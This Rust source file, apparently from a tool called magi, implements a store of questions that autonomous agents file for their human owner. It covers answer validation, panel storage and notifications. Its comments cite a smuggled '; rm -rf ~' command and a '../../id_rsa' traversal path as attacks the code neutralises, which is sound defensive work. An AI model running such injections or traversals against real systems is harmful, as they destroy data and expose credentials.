Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40
41/// On-disk format for a question. Bumped when a field's meaning changes.
42///
43/// The web UI is written against this shape by hand - there is no shared schema
44/// between the front end and this struct - so a field that changes meaning
45/// without a bump here is a UI that lies silently.
46pub const SCHEMA: u32 = 1;
47
48/// How often the wait re-reads the question file.
49///
50/// Three seconds: the answer comes from a human on a phone, so the difference
51/// between three seconds and three hundred milliseconds is invisible to them,
52/// while a tight loop would `stat` and parse a file thousands of times per
53/// minute for a wait that routinely lasts hours. Nothing is held between polls -
54/// no lock, no open handle - because `magi web` and `magi answer` write the
55/// same file from other processes.
56const POLL: Duration = Duration::from_secs(3);
57
58/// How long the operator's notification command may run before it is killed.
59///
60/// A webhook that hangs must not hang the run. Twenty seconds is long enough
61/// for a slow HTTP round trip and short enough that the operator still gets the
62/// question filed and the run parked in a bounded time.
63const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
64
65/// Environment variable naming the base URL of the web UI, for `{url}`.
66///
67/// A run cannot discover this by itself: `magi web` is a different process,
68/// usually started by hand and often on a different machine on the tailnet, and
69/// the address it settled on (Tailscale IP, port, or the fallback it warned
70/// about) exists only in that process. So the operator names it once, in the
71/// environment `magi serve` runs in - `magi web --open` prints exactly the
72/// string to use on stdout. Unset means `{url}` expands to nothing rather than
73/// to a guess: a notification carrying a link to an address nothing is
74/// listening on is worse than one carrying no link at all.
75pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
76
77/// Largest panel magi will store, html plus assets.
78///
79/// Checked as a total, before a single byte is written, because the failure
80/// this prevents is not a full disk but a half-copied panel: an agent that
81/// points at a 200 MB screen recording must get one clean error, not a
82/// directory holding the three small files that fitted before the copy died.
83/// Eight mebibytes is far more than a diff, a table and a handful of images
84/// need, and small enough that a phone on a hotel link still renders it.
85pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
86
87/// Suffix of the directory holding one question's panel.
88///
89/// A sibling of `<id>.json` rather than a subdirectory of the store, so
90/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
91/// see it, and so a panel travels with the question it belongs to.
92const PANEL_DIR: &str = ".panel";
93
94/// The panel's entry point inside its directory.
95const PANEL_HTML: &str = "index.html";
96
97/// Scratch directory a panel is assembled in before it is swapped into place.
98const PANEL_TMP: &str = ".panel.tmp";
99
100/// The one asset filename rule, applied on write **and** on read.
101///
102/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
103/// containing `..`. The pattern is this narrow because the name arrives from
104/// two untrusted directions and is then joined onto a path: an agent naming
105/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
106/// character that could change what the join means is outside the set - `/`
107/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
108/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
109/// refused, which matters because on Windows `Path::join` with an absolute
110/// path *discards the whole prefix* and would serve any file on the disk.
111/// `..` is refused anywhere rather than only at the front so the rule reads
112/// the same as the sentence "no traversal" to anyone auditing it.
113///
114/// The length bound keeps a name inside every filesystem's limit, so a panel
115/// that stores cannot fail to store on the operator's other machine.
116pub fn valid_asset_name(name: &str) -> bool {
117    if name.is_empty() || name.len() > 64 || name.contains("..") {
118        return false;
119    }
120    let mut chars = name.chars();
121    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
122        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
123}
124
125/// Where a question is in its life.
126#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
127#[serde(rename_all = "lowercase")]
128pub enum QuestionStatus {
129    /// Asked, and waiting for the owner. A run is parked behind it.
130    Open,
131    /// The owner decided. [`Question::answer`] holds what they said.
132    Answered,
133    /// Nobody answered in time, or the question outlived the run that asked.
134    /// Kept rather than deleted: what was asked and never answered is the
135    /// evidence that the operator was the bottleneck.
136    Abandoned,
137}
138
139impl QuestionStatus {
140    /// Is a run still parked behind this question?
141    pub fn open(self) -> bool {
142        matches!(self, Self::Open)
143    }
144
145    /// Lowercase name, as it appears on disk and in the API.
146    pub fn as_str(self) -> &'static str {
147        match self {
148            Self::Open => "open",
149            Self::Answered => "answered",
150            Self::Abandoned => "abandoned",
151        }
152    }
153}
154
155/// What the owner said.
156///
157/// Two shapes rather than one string because the question decides which is
158/// admissible, and [`Question::answer`] enforces it. A phone that posts
159/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
160/// front end, and it is caught here rather than handed to an agent as fact.
161#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
162#[serde(rename_all = "lowercase")]
163pub enum Answer {
164    /// One of the offered choices, verbatim.
165    Choice(String),
166    /// Free text, for a question that offered no choices.
167    Text(String),
168}
169
170/// One decision magi will not take on the owner's behalf.
171#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
172#[serde(deny_unknown_fields)]
173pub struct Question {
174    /// On-disk format version.
175    pub schema: u32,
176    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
177    /// task's, so the operator can paste any of them at any prefix argument.
178    pub id: String,
179    /// Run that is parked behind this question.
180    pub run: String,
181    /// Graph node the asking agent was working in, e.g. `implement`.
182    pub node: String,
183    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
184    /// this" decides whether the answer unblocks one candidate or all of them.
185    pub seat: String,
186    /// One line: the question itself. This is what a notification carries and
187    /// what the phone shows above the answer controls.
188    pub summary: String,
189    /// The reasoning behind the question, as markdown. May be long, may be
190    /// empty. Rendered as text nodes by the UI, never as markup.
191    pub detail: String,
192    /// The admissible answers. **Empty means free text** - that one condition
193    /// is the whole difference between the two kinds of question, on disk, in
194    /// the UI, and in [`Question::answer`]'s validation.
195    pub choices: Vec<String>,
196    /// Does this question have an agent-authored HTML panel beside it?
197    ///
198    /// Serialised with a default so a question written by an older magi - or
199    /// by hand - still deserialises rather than failing the whole store, which
200    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
201    /// open question the operator was looking for.
202    #[serde(default)]
203    pub panel: bool,
204    /// Files copied in beside the panel's html, by base name, sorted.
205    ///
206    /// The list exists so a reader knows what a panel is made of without
207    /// walking the directory, and every entry satisfies [`valid_asset_name`].
208    /// Sorted because it is compared - a question re-asked with the same
209    /// assets in a different argument order is not a different question.
210    #[serde(default)]
211    pub assets: Vec<String>,
212    /// Current state.
213    pub status: QuestionStatus,
214    /// When the agent asked.
215    pub asked_at: Timestamp,
216    /// When the owner answered, if they did.
217    pub answered_at: Option<Timestamp>,
218    /// What they said.
219    pub answer: Option<Answer>,
220}
221
222impl Question {
223    /// Ask something. Persist it with [`Questions::put`], or hand it to
224    /// [`ask_and_wait`], which files it and waits.
225    pub fn new(
226        run: String,
227        node: String,
228        seat: String,
229        summary: String,
230        detail: String,
231        choices: Vec<String>,
232    ) -> Self {
233        Self {
234            schema: SCHEMA,
235            id: new_id(),
236            run,
237            node,
238            seat,
239            summary,
240            detail,
241            choices,
242            panel: false,
243            assets: Vec::new(),
244            status: QuestionStatus::Open,
245            asked_at: Timestamp::now(),
246            answered_at: None,
247            answer: None,
248        }
249    }
250
251    /// Short form used in reports and on the phone, matching a run's short id.
252    pub fn short(&self) -> &str {
253        short(&self.id)
254    }
255
256    /// Does this question want free text rather than one of a set?
257    pub fn free_text(&self) -> bool {
258        self.choices.is_empty()
259    }
260
261    /// Record an answer. Rejects a choice the question does not offer, free
262    /// text on a multiple-choice question, an empty answer, and a second
263    /// answer.
264    ///
265    /// Every rejection here is a case where accepting would put a fabrication
266    /// in front of an agent as if the owner had said it. The messages are
267    /// distinct because the caller is a web handler that shows them verbatim,
268    /// and "that is not one of the choices" and "this question is multiple
269    /// choice" are different mistakes with different fixes.
270    pub fn answer(&mut self, answer: Answer) -> Result<()> {
271        match self.status {
272            QuestionStatus::Answered => bail!(
273                "question {} was already answered; the run has moved on and a \
274                 second answer would be a decision nobody acted on",
275                self.short()
276            ),
277            QuestionStatus::Abandoned => bail!(
278                "question {} was abandoned and the run behind it is gone",
279                self.short()
280            ),
281            QuestionStatus::Open => {}
282        }
283        let body = match &answer {
284            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
285        };
286        if body.trim().is_empty() {
287            bail!(
288                "question {} needs an answer; an empty one tells the agent \
289                 nothing and it would guess anyway",
290                self.short()
291            );
292        }
293        match &answer {
294            Answer::Choice(c) if self.free_text() => bail!(
295                "question {} asks for free text, so `{c}` cannot be a choice \
296                 it offered",
297                self.short()
298            ),
299            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
300                "`{c}` is not one of the choices question {} offers: {}",
301                self.short(),
302                self.choices.join(", ")
303            ),
304            Answer::Text(_) if !self.free_text() => bail!(
305                "question {} is multiple choice; answer with one of: {}",
306                self.short(),
307                self.choices.join(", ")
308            ),
309            _ => {}
310        }
311        self.answered_at = Some(Timestamp::now());
312        self.answer = Some(answer);
313        self.status = QuestionStatus::Answered;
314        Ok(())
315    }
316
317    /// Give up on an answer, keeping the record of what was asked.
318    ///
319    /// An answered question is left alone, which matters at exactly one moment:
320    /// the owner answering in the same second the wait's deadline passes. The
321    /// answer is the thing worth keeping there, and it has already been written
322    /// by another process.
323    ///
324    /// The reason is appended to [`Question::detail`] because the on-disk shape
325    /// is a contract with the front end and has no field of its own for it -
326    /// and "asked at 3am, nobody home for a day" belongs with the question, not
327    /// only in a log the operator will never open.
328    pub fn abandon(&mut self, why: impl Into<String>) {
329        if !self.status.open() {
330            return;
331        }
332        self.status = QuestionStatus::Abandoned;
333        let why = why.into();
334        let why = why.trim();
335        if why.is_empty() {
336            return;
337        }
338        if !self.detail.is_empty() {
339            self.detail.push('\n');
340        }
341        self.detail.push_str("\n_Abandoned: ");
342        self.detail.push_str(why);
343        self.detail.push_str("._\n");
344    }
345
346    /// The answer as the asking agent should read it.
347    ///
348    /// One string for both kinds of question: the agent's prompt says "the
349    /// owner answered:", and a chosen option and a typed sentence are the same
350    /// thing at that point. `None` while the question is open or abandoned, so
351    /// a caller cannot mistake silence for a decision.
352    pub fn resolution(&self) -> Option<String> {
353        match (self.status, &self.answer) {
354            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
355                Some(a.clone())
356            }
357            _ => None,
358        }
359    }
360}
361
362/// A question store on disk.
363#[derive(Debug, Clone)]
364pub struct Questions {
365    root: PathBuf,
366}
367
368impl Questions {
369    /// The operator's questions, `<home>/questions`.
370    pub fn open() -> Self {
371        Self::at(crate::run::home().join("questions"))
372    }
373
374    /// A store at an explicit root. Tests use this, which is why none of them
375    /// need the operator's real home.
376    pub fn at(root: PathBuf) -> Self {
377        Self { root }
378    }
379
380    /// Directory holding the question files.
381    pub fn root(&self) -> &Path {
382        &self.root
383    }
384
385    /// Path for one question id.
386    pub fn path_of(&self, id: &str) -> PathBuf {
387        self.root.join(format!("{id}.json"))
388    }
389
390    /// Directory holding one question's panel, `<root>/<id>.panel`.
391    pub fn panel_dir(&self, id: &str) -> PathBuf {
392        self.root.join(format!("{id}{PANEL_DIR}"))
393    }
394
395    /// Store a panel: the html, plus `assets` copied in under their base
396    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
397    /// question, or the record on disk will deny having a panel that exists.
398    ///
399    /// The assets are **copied, not referenced**. An agent authors its panel
400    /// inside a candidate worktree and points at files there, and `magi fold`
401    /// deletes those worktrees; a question is the permanent record of a
402    /// decision the owner took, so a panel that referenced its own images
403    /// would render as broken boxes exactly when someone went back to ask why
404    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
405    /// does, and so does the [`std::fs::metadata`] the size is measured with,
406    /// so the bytes counted and the bytes written are the same target file's -
407    /// which is the intent: storing a link would leave the panel pointing at
408    /// the worktree again, one indirection further away.
409    ///
410    /// Everything that can be rejected is rejected before the first byte is
411    /// written, and the panel is then assembled in a scratch directory and
412    /// swapped in. So a refusal leaves the previous panel intact, and a
413    /// success replaces it *wholesale* rather than merging: a re-asked
414    /// question showing one attempt's diff next to another attempt's table
415    /// would be a panel neither agent ever wrote.
416    ///
417    /// [`put`]: Questions::put
418    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
419        if !valid_asset_name(&q.id) {
420            bail!(
421                "question id `{}` is not a name magi will build a panel path from",
422                q.id
423            );
424        }
425        if html.trim().is_empty() {
426            bail!(
427                "question {} was handed an empty panel; an empty frame reads to \
428                 the owner as \"the agent had nothing to say\", which is a lie",
429                q.short()
430            );
431        }
432
433        // Names, then sizes, then writing - in that order, so nothing below
434        // can leave a partial panel on disk.
435        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
436        for src in assets {
437            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
438            if !valid_asset_name(name) {
439                bail!(
440                    "panel asset `{}` cannot be stored: a panel file name must \
441                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
442                    src.display()
443                );
444            }
445            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
446                bail!(
447                    "two panel assets are both named `{name}` - {} and {} - and \
448                     the panel can only show one of them; rename one at the source",
449                    first.display(),
450                    src.display()
451                );
452            }
453            named.push((name.to_owned(), src.as_path()));
454        }
455
456        let mut total = html.len() as u64;
457        for (_, src) in &named {
458            let meta = std::fs::metadata(src)
459                .with_context(|| format!("stat panel asset {}", src.display()))?;
460            if !meta.is_file() {
461                bail!(
462                    "panel asset `{}` is not a file; a panel is html plus files \
463                     copied beside it",
464                    src.display()
465                );
466            }
467            total = total.saturating_add(meta.len());
468        }
469        if total > PANEL_MAX_BYTES {
470            bail!(
471                "panel for question {} is {total} bytes, over magi's cap of \
472                 {PANEL_MAX_BYTES} bytes; nothing was written",
473                q.short()
474            );
475        }
476
477        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
478        let dir = self.panel_dir(&q.id);
479        std::fs::create_dir_all(&self.root)
480            .with_context(|| format!("create {}", self.root.display()))?;
481        clear_dir(&tmp)?;
482        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
483        if let Err(e) = fill_panel(&tmp, html, &named) {
484            // A copy that dies halfway must not become the panel, and must not
485            // leave scratch behind for the next call to inherit.
486            let _ = std::fs::remove_dir_all(&tmp);
487            return Err(e);
488        }
489        clear_dir(&dir)?;
490        std::fs::rename(&tmp, &dir)
491            .with_context(|| format!("move panel into {}", dir.display()))?;
492
493        q.panel = true;
494        q.assets = named.into_iter().map(|(n, _)| n).collect();
495        q.assets.sort_unstable();
496        Ok(())
497    }
498
499    /// The panel's html, or `None` when the question has no panel.
500    ///
501    /// `None` rather than an error for a missing panel because the caller is a
502    /// web handler whose answer is 404 either way, and an unreadable panel is
503    /// not a reason to fail the question it belongs to.
504    pub fn panel_html(&self, id: &str) -> Option<String> {
505        if !valid_asset_name(id) {
506            return None;
507        }
508        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
509    }
510
511    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
512    /// not a name a panel file can have".
513    ///
514    /// Rejects a name failing [`valid_asset_name`] **before touching the
515    /// filesystem**, which is the whole point of the second check: the name
516    /// arrives from a URL, the directory is on disk where any process could
517    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
518    /// operating system would resolve perfectly happily. The two callers'
519    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
520    /// `Result<Option<_>>` rather than one flattened `Option`.
521    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
522        if !valid_asset_name(name) {
523            bail!(
524                "`{name}` is not a panel file name; it must match \
525                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
526            );
527        }
528        if !valid_asset_name(id) {
529            return Ok(None);
530        }
531        let dir = self.panel_dir(id);
532        if !dir.is_dir() {
533            return Ok(None);
534        }
535        let path = dir.join(name);
536        match std::fs::read(&path) {
537            Ok(bytes) => Ok(Some(bytes)),
538            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
539            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
540        }
541    }
542
543    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
544    ///
545    /// Succeeds when there is nothing to delete, so a caller cleaning up does
546    /// not have to know whether a panel was ever written. The question record
547    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
548    /// in the same order as everywhere else here.
549    ///
550    /// [`put_panel`]: Questions::put_panel
551    pub fn drop_panel(&self, id: &str) -> Result<()> {
552        if !valid_asset_name(id) {
553            bail!("question id `{id}` is not a name magi will build a panel path from");
554        }
555        clear_dir(&self.panel_dir(id))?;
556        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
557    }
558
559    /// Write a question, atomically, so a process killed mid-write leaves the
560    /// previous state readable rather than a truncated file that would strand
561    /// the run waiting on it.
562    pub fn put(&self, q: &mut Question) -> Result<()> {
563        std::fs::create_dir_all(&self.root)
564            .with_context(|| format!("create {}", self.root.display()))?;
565        let body = serde_json::to_string_pretty(q).context("serialize question")?;
566        let path = self.path_of(&q.id);
567        let tmp = path.with_extension("json.tmp");
568        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
569        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
570        Ok(())
571    }
572
573    /// Load a question by id or unambiguous id prefix.
574    pub fn get(&self, id: &str) -> Result<Question> {
575        let resolved = self.resolve_id(id)?;
576        read_path(&self.path_of(&resolved))
577    }
578
579    /// Every question on disk: open first, then newest first.
580    ///
581    /// Open first because that ordering is the product - the list exists to
582    /// show the operator what has stopped, and an answered question is history
583    /// underneath it. Unreadable files are skipped rather than fatal: one
584    /// corrupt question must not take the web UI down, and must certainly not
585    /// hide the open question the operator was looking for.
586    pub fn list(&self) -> Vec<Question> {
587        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
588            .into_iter()
589            .flatten()
590            .flatten()
591            .map(|e| e.path())
592            .filter(|p| p.extension().is_some_and(|x| x == "json"))
593            .filter_map(|p| read_path(&p).ok())
594            .collect();
595        all.sort_unstable_by(|a, b| {
596            let rank = |q: &Question| u8::from(!q.status.open());
597            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
598        });
599        all
600    }
601
602    /// Open questions belonging to one run, newest first.
603    ///
604    /// Used to decide whether a parked run can be resumed: while this is
605    /// non-empty, nothing about the run has changed and no agent should be
606    /// spawned for it.
607    pub fn open_for(&self, run: &str) -> Vec<Question> {
608        self.list()
609            .into_iter()
610            .filter(|q| q.status.open() && q.run == run)
611            .collect()
612    }
613
614    /// Abandon every open question belonging to a run, and report how many.
615    ///
616    /// Called when a run's record is deleted. The agent that asked died with
617    /// the run, so there is nobody left to hand an answer to, and a question
618    /// left open would keep asking the operator for a decision that can no
619    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
620    /// イルが見つかりません" with two buttons, for a run whose directory had
621    /// been gone for two hours.
622    ///
623    /// Abandoned rather than deleted, because [`Question::abandon`] already
624    /// means "this can no longer be answered" and the record of having asked
625    /// is worth keeping. Answered questions are left exactly as they are.
626    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
627        let mut abandoned = 0;
628        for mut q in self.open_for(run) {
629            q.abandon(why);
630            self.put(&mut q)?;
631            abandoned += 1;
632        }
633        Ok(abandoned)
634    }
635
636    /// Expand an id prefix to exactly one question id. The short id the phone
637    /// and the reports show is a suffix, so that is accepted too.
638    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
639        if self.path_of(prefix).is_file() {
640            return Ok(prefix.to_owned());
641        }
642        let hits: Vec<String> = self
643            .list()
644            .into_iter()
645            .map(|q| q.id)
646            .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
647            .collect();
648        match hits.len() {
649            1 => Ok(hits.into_iter().next().expect("exactly one hit")),
650            0 => bail!("no question matches `{prefix}`"),
651            _ => bail!(
652                "`{prefix}` matches {} questions: {}",
653                hits.len(),
654                hits.join(", ")
655            ),
656        }
657    }
658
659    /// Newest modification time in the store, in milliseconds, for change
660    /// detection. The web UI compares this instead of re-reading every
661    /// question, so an idle phone on a slow link costs one `stat` per file.
662    pub fn revision(&self) -> u64 {
663        std::fs::read_dir(&self.root)
664            .into_iter()
665            .flatten()
666            .flatten()
667            .filter_map(|e| e.metadata().ok())
668            .filter_map(|m| m.modified().ok())
669            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
670            .map(|d| d.as_millis() as u64)
671            .max()
672            .unwrap_or(0)
673    }
674
675    /// How many questions are waiting on the owner. The badge on the phone,
676    /// and the one number that says whether magi is blocked on a human.
677    pub fn count_open(&self) -> usize {
678        self.list().iter().filter(|q| q.status.open()).count()
679    }
680}
681
682/// File a question and wait for the owner, polling the store.
683///
684/// Returns `Ok(None)` when the wait times out, so the caller can park the run
685/// rather than treat a slow human as an error. The question is left on disk as
686/// [`QuestionStatus::Abandoned`]; the caller that parks the run and the operator
687/// who finds it in the morning both need to see what was asked.
688///
689/// `q` is updated in place from disk when the answer lands, so the caller can
690/// record the answered question without re-reading it.
691pub async fn ask_and_wait(
692    q: &mut Question,
693    store: &Questions,
694    notify: &config::Notify,
695    timeout: Duration,
696) -> Result<Option<String>> {
697    wait_for_owner(q, store, notify, timeout, POLL).await
698}
699
700/// [`ask_and_wait`] with the poll interval injected.
701///
702/// Separate only so the tests can drive a whole wait in milliseconds instead of
703/// sleeping through [`POLL`]; production has exactly one interval, and it is not
704/// a knob the operator gets to tune.
705async fn wait_for_owner(
706    q: &mut Question,
707    store: &Questions,
708    cfg: &config::Notify,
709    timeout: Duration,
710    poll: Duration,
711) -> Result<Option<String>> {
712    store.put(q).context("file the question")?;
713    if let Err(e) = notify(cfg, q).await {
714        // A broken webhook is not a reason to throw away an implementation.
715        // The question is already on disk and the web UI already shows it, so
716        // the operator still has a way in; only the tap on the shoulder is lost.
717        tracing::warn!(
718            "could not notify about question {}: {e:#} - the web UI is the \
719             only surface for it now",
720            q.short()
721        );
722    }
723    tracing::info!(
724        "question {} from {} is waiting for you: {}",
725        q.short(),
726        q.seat,
727        q.summary
728    );
729
730    let deadline = tokio::time::Instant::now() + timeout;
731    loop {
732        let now = tokio::time::Instant::now();
733        if now >= deadline {
734            q.abandon(format!(
735                "no answer within {}s of asking",
736                timeout.as_secs().max(1)
737            ));
738            store.put(q).context("record the abandoned question")?;
739            tracing::warn!(
740                "question {} went unanswered for {}s; the run parks and the \
741                 question stays as the record of it",
742                q.short(),
743                timeout.as_secs()
744            );
745            return Ok(None);
746        }
747        tokio::time::sleep(poll.min(deadline - now)).await;
748        match store.get(&q.id) {
749            Ok(fresh) if !fresh.status.open() => {
750                // Whoever answered - the phone, `magi answer`, another daemon -
751                // owns the record now, so adopt theirs wholesale rather than
752                // merging into a copy that predates it.
753                *q = fresh;
754                return Ok(q.resolution());
755            }
756            Ok(_) => {}
757            Err(e) => {
758                // Mid-rename, or a file the operator is editing by hand.
759                // Neither is a reason to abandon a question a human may still
760                // answer, so keep polling until the deadline decides.
761                tracing::debug!("could not re-read question {}: {e:#}", q.short());
762            }
763        }
764    }
765}
766
767/// Run the operator's notification command, if one is configured.
768///
769/// The command is argv, never a shell string, and the substitutions below are a
770/// single pass over each argument: a summary containing `; rm -rf ~` is one
771/// argument to one program, and a summary containing the characters `{run}` is
772/// not re-expanded. That property is the reason agent-authored text can be put
773/// in a notification at all.
774///
775/// An error here is reported, not swallowed, so `magi notify --test` can show
776/// the operator why nothing arrives. The waiting path logs it and carries on.
777pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
778    let Some((program, args)) = cmd.command.split_first() else {
779        // No command configured: the web UI is the only surface, by choice.
780        return Ok(());
781    };
782    let url = web_url();
783    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
784        tracing::warn!(
785            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
786             so the link will be empty - export it next to `magi serve` with \
787             the address `magi web --open` printed"
788        );
789    }
790    let argv: Vec<String> = args.iter().map(|a| expand(a, q, &url)).collect();
791    tracing::debug!(program = %program, args = ?argv, "notifying");
792
793    let mut child = tokio::process::Command::new(program);
794    child
795        .args(&argv)
796        .stdin(std::process::Stdio::null())
797        // Killed if the timeout below drops this future: a notification
798        // command left running would outlive the run it was announcing.
799        .kill_on_drop(true);
800    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
801        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
802        Err(_) => bail!(
803            "notification command `{program}` did not finish within {}s",
804            NOTIFY_TIMEOUT.as_secs()
805        ),
806    };
807    if !out.status.success() {
808        let stderr = String::from_utf8_lossy(&out.stderr);
809        let why = stderr
810            .lines()
811            .rev()
812            .find(|l| !l.trim().is_empty())
813            .unwrap_or("no output on stderr")
814            .trim();
815        bail!(
816            "notification command `{program}` exited with {}: {why}",
817            out.status
818        );
819    }
820    Ok(())
821}
822
823/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
824///
825/// One left-to-right pass, so a substituted value is never scanned for further
826/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
827/// in a question must not make the notification recursive.
828fn expand(template: &str, q: &Question, url: &str) -> String {
829    let table = [
830        ("{summary}", q.summary.as_str()),
831        ("{run}", q.run.as_str()),
832        ("{url}", url),
833    ];
834    let mut out = String::with_capacity(template.len());
835    let mut rest = template;
836    while let Some(at) = rest.find('{') {
837        out.push_str(&rest[..at]);
838        let tail = &rest[at..];
839        match table.iter().find(|(token, _)| tail.starts_with(token)) {
840            Some((token, value)) => {
841                out.push_str(value);
842                rest = &tail[token.len()..];
843            }
844            None => {
845                // Not a placeholder magi knows: it is the operator's own text.
846                out.push('{');
847                rest = &tail[1..];
848            }
849        }
850    }
851    out.push_str(rest);
852    out
853}
854
855/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
856fn web_url() -> String {
857    question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
858}
859
860/// Point a configured base URL at the view that can answer the question.
861///
862/// A notification the operator has to navigate from is a question that stays
863/// unanswered until morning, so the questions view is appended - unless the
864/// operator already wrote a fragment, in which case they have said where they
865/// want to land and magi does not know better.
866fn question_url(base: &str) -> String {
867    let base = base.trim().trim_end_matches('/');
868    if base.is_empty() || base.contains('#') {
869        return base.to_owned();
870    }
871    format!("{base}/#/questions")
872}
873
874/// Assemble a panel's contents in an already-empty directory.
875///
876/// Split out so [`Questions::put_panel`] can delete the whole directory on the
877/// first error without an early `return` skipping that cleanup.
878fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
879    let index = dir.join(PANEL_HTML);
880    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
881    for (name, src) in assets {
882        let dst = dir.join(name);
883        std::fs::copy(src, &dst)
884            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
885    }
886    Ok(())
887}
888
889/// Remove a directory and everything under it, treating "not there" as done.
890///
891/// A panel is replaced wholesale and dropped idempotently, and in both cases
892/// the absence of the directory is the desired end state, not an error.
893fn clear_dir(path: &Path) -> Result<()> {
894    match std::fs::remove_dir_all(path) {
895        Ok(()) => Ok(()),
896        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
897        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
898    }
899}
900
901fn read_path(path: &Path) -> Result<Question> {
902    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
903    let q: Question =
904        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
905    if q.schema != SCHEMA {
906        bail!(
907            "question {} was written by a different magi (schema {}, this \
908             build speaks {SCHEMA})",
909            q.id,
910            q.schema
911        );
912    }
913    Ok(q)
914}
915
916fn short(id: &str) -> &str {
917    id.split('-').next_back().unwrap_or(id)
918}
919
920fn new_id() -> String {
921    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
922    let seed = crate::rng::entropy();
923    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
924}
925
926#[cfg(test)]
927mod tests {
928    use super::*;
929
930    /// A store of its own, with no process-global state - which is the point of
931    /// `Questions::at`, and why these can run in parallel.
932    fn store() -> (tempfile::TempDir, Questions) {
